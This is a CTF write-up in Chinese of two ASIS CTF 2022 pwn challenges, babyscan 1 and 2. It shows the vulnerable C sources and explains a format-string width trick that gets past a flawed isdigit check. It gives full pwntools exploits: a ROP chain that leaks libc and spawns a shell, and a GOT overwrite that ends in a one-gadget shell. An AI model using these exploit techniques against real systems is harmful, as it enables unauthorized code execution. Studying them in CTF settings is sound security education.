|
2025-01-05
ASIS CTF 2022 pwn - babyscan 1 & babyscan 2
Author: 堇姬Naup
babyscan_1 source code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main () { char size[16 ], fmt[8 ], *buf; printf ("size: " ); scanf ("%15s" , size); if (!isdigit (*size)) { puts ("[-] Invalid number" ); return 1 ; } buf = (char *)alloca(atoi(size) + 1 ); printf ("data: " ); snprintf (fmt, sizeof (fmt), "%%%ss" , size); scanf (fmt, buf); return 0 ; } __attribute__((constructor)) void setup (void ) { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); alarm(180 ); }
首先讓你輸入一個size 並且alloca size + 1大小的在stack上(與 malloc 不同,alloca 分配的記憶體會在函數返回時自動釋放,不需要使用 free)
並且通過snprintf來構建fmthttps://www.runoob.com/cprogramming/c-function-snprintf.html
他長這樣
1 int snprintf ( char * str, size_t size, const char * format, ... ) ;
單一一個%會被認為是fmt,所以使用%%來表示他是個str 之後%s表示size 所以是%%<size>s
第一個是轉義所以放到scanf內就是scanf("%<size>s", buf)
分析 看一下保護
1 2 3 4 5 6 7 pwndbg> checksec File: /home/naup/Desktop/ASISCTF/babyscan1/chall Arch: amd64 RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
沒PIE跟canary
這題很巧妙 首先是isdigithttps://www.runoob.com/python/att-string-isdigit.html 他會去檢查字串內是否有非數字 然而他寫爛了,通過*size
的方式只會判斷該char array第一個是否為數字 因此通過構造2$之類的fmt來嘗試做任意寫 最終可以構造出 %1$s 這樣就可以對 buf寫上任意長度了
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/#_4
1 2 sla(b'size: ' ,b'1$s' ) sla(b'data: ' ,b'a' *100 )
這樣就控到rip了,好ㄟ
接下來就寫ROPchain leaklibc 跳回main在overflow一次 通過libc的gadget打ROP開個shell
exploit 我不知道為啥我的libc system address寫不上去stack,所以堆syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *from libs.NAUP_pwn_lib import *import timefrom libs.NAUP_filestructure_lib import *from libs.NAUP_fmt_lib import *def s (payload ): return r.send(payload)def sl (payload ): return r.sendline(payload)def sla (after, payload ): return r.sendlineafter(after, payload)def sa (after, payload ): return r.sendafter(after, payload)def rc (num ): return r.recv(num)def rcl (): return r.recvline()def rcls (num ): return r.recvlines(num)def rcu (payload ): return r.recvuntil(payload)def ita (): return r.interactive()def cl (): return r.close()def tsl (): return time.sleep(0.2 )x64_env() REMOTE_LOCAL=input ("local?(y/n):" ) if REMOTE_LOCAL=="y" : r=process('./chall' ) debug_init() else : REMOTE_INFO=split_nc("nc naup.com 2000" ) REMOTE_IP=REMOTE_INFO[0 ] REMOTE_PORT=int (REMOTE_INFO[1 ]) r=remote(REMOTE_IP,REMOTE_PORT) if input ('attach?(y/n)' ) == 'y' : p(r) printf_got = 0x404028 pop_rdi = 0x401433 puts_plt = 0x4010b0 main_addr = 0x401216 sla(b'size: ' ,b'1$s' ) sla(b'data: ' ,b'a' *0x48 + p64(pop_rdi) + p64(printf_got) + p64(puts_plt) +p64(main_addr)) leaklibc = u64(rcl().strip().ljust(8 ,b'\x00' )) printf_offset = 0x606f0 libcbase = leaklibc - printf_offset libc_binsh = libcbase + 0x1d8678 pop_rdi = libcbase + 0x2a3e5 pop_rax = libcbase + 0x45eb0 syscall = libcbase + 0x29db4 pop_rsi = libcbase + 0x2be51 pop_rdx_rbx = libcbase + 0x904a9 sla(b'size: ' ,b'1$s' ) sla(b'data: ' , b'a' *0x48 + p64(pop_rdi) + p64(libc_binsh) + p64(pop_rax) + p64(0x3b ) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx_rbx) + p64(0 ) +p64(0 ) +p64(syscall)) NAUPINFO("LEAKLIBC" ,hex (leaklibc)) NAUPINFO("LIBCBASE" ,hex (libcbase)) ita()
babyscan_2 source code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main () { char size[16 ], fmt[8 ], *buf; printf ("size: " ); scanf ("%15s" , size); if (!isdigit (*size)) { puts ("[-] Invalid number" ); exit (1 ); } buf = (char *)malloc (atoi(size) + 1 ); printf ("data: " ); snprintf (fmt, sizeof (fmt), "%%%ss" , size); scanf (fmt, buf); exit (0 ); } __attribute__((constructor)) void setup (void ) { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); alarm(180 ); }
基本上跟上一題一樣,只是變成了malloc 代表沒有辦法簡單的通過overflow buf來打ROP 並且最後的return 0改成了exit
分析 他有給libc,把他patch上去 這邊用我CTFlib的patchelf bash script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/bin/bash read -p "Your libc and ld version: " VERSIONchmod +x libc-${VERSION} .sochmod +x ld-${VERSION} .soecho "**success chmod**" ls read -p "Your binary name: " BINARYpatchelf --set-interpreter ./ld-${VERSION} .so ${BINARY} patchelf --replace-needed libc.so.6 ./libc-${VERSION} .so ${BINARY}
接下來檢查保護
1 2 3 4 5 6 7 pwndbg> checksec File: /home/naup/Desktop/ASISCTF/babyscan2/chall Arch: amd64 RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000)
跟上一題一樣
既然沒辦法寫第一個參數,也就是buf,因為在heap overflow沒辦法控rip 這邊就可以嘗試overflow在其他參數
嘗試送這段payload可以發現b'10$s'+b'aaaa'+b'b'*0x20
可以發現他在rsp + 0x18的地方會填上我們輸入的b
rsp + 0x18 是 9$ 故可以通過這個來任意寫
現在得到了任意寫了然後要leaklibc 這裡就是這題的難點(雖然也算老梗了)
簡單來說,第一步我們先把exit改成main 這樣可以獲得無限的任意寫
這邊有蠻多小細節的 像是size只接收15個byte 然後送main address時要記的少送一個byte,讓0xa不要蓋到重要資訊 他會卡在scanf裡面rsi+0x68引用到no access address
接下來關注到setbuf stdin stdout stderr
把setbuf GOT改成puts plt stderr GOT改成其他function GOT 這樣就可以把libc印出來了
另外還有個坑點就是scanf會過濾\x20也就是空白,因此0x404020需要往前一個byte 這樣才不會被過濾
之後再把exit 改回start,讓他重跑一次setbuf那 就會把libc印出來了 PS: 變成了puts(atoi_got)來印libc
之後就把exit改成onegadget就行了 這條在跳進去exit時是符合的
1 2 3 4 0xe3b01 execve("/bin/sh" , r15, rdx)constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp
這樣就getshell成功
exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *from libs.NAUP_pwn_lib import *import timefrom libs.NAUP_filestructure_lib import *from libs.NAUP_fmt_lib import *def s (payload ): return r.send(payload)def sl (payload ): return r.sendline(payload)def sla (after, payload ): return r.sendlineafter(after, payload)def sa (after, payload ): return r.sendafter(after, payload)def rc (num ): return r.recv(num)def rcl (): return r.recvline()def rcls (num ): return r.recvlines(num)def rcu (payload ): return r.recvuntil(payload)def ita (): return r.interactive()def cl (): return r.close()def tsl (): return time.sleep(0.2 )x64_env() REMOTE_LOCAL=input ("local?(y/n):" ) if REMOTE_LOCAL=="y" : r=process('./chall' ) debug_init() else : REMOTE_INFO=split_nc("nc naup.com 2000" ) REMOTE_IP=REMOTE_INFO[0 ] REMOTE_PORT=int (REMOTE_INFO[1 ]) r=remote(REMOTE_IP,REMOTE_PORT) if input ('attach?(y/n)' ) == 'y' : p(r) main_addr = 0x401256 exit_got = 0x404058 sla(b'size: ' ,b'9$s' +b'aaaaa' +p64(exit_got)[:-1 ]) sla(b'data: ' ,p64(main_addr)[:-1 ]) stderr_got = 0x4040a0 setbuf_got = 0x404020 atoi_got = 0x404048 puts_plt = 0x4010d0 sla(b'size: ' ,b'9$s' +b'aaaaa' +p64(stderr_got)[:-1 ]) sla(b'data: ' ,p64(atoi_got)[:-1 ]) sla(b'size: ' ,b'9$s' +b'aaaaa' +p64(setbuf_got-0x1 )[:-1 ]) sla(b'data: ' ,b'\x00' +p64(puts_plt)[:-1 ]) sla(b'size: ' ,b'9$s' +b'aaaaa' +p64(exit_got)[:-1 ]) sla(b'data: ' ,p64(0x401170 )[:-1 ]) leaklibc = u64(rcls(3 )[2 ].strip().ljust(8 ,b'\x00' )) libcbase = leaklibc - 0x445b0 onegadget = libcbase + 0xe3b01 sla(b'size: ' ,b'9$s' +b'aaaaa' +p64(exit_got)[:-1 ]) sla(b'data: ' ,p64(onegadget)[:-1 ]) NAUPINFO("LEAKLIBC" ,hex (leaklibc)) NAUPINFO("LIBCBASE" ,hex (libcbase)) NAUPINFO("Onegadget" ,hex (onegadget)) ita()
after all 突然看到感覺蠻有趣的就寫了一下 結果第二題我打了快一小時,原因是我一直看錯,導致我算出來的libcbase是錯的www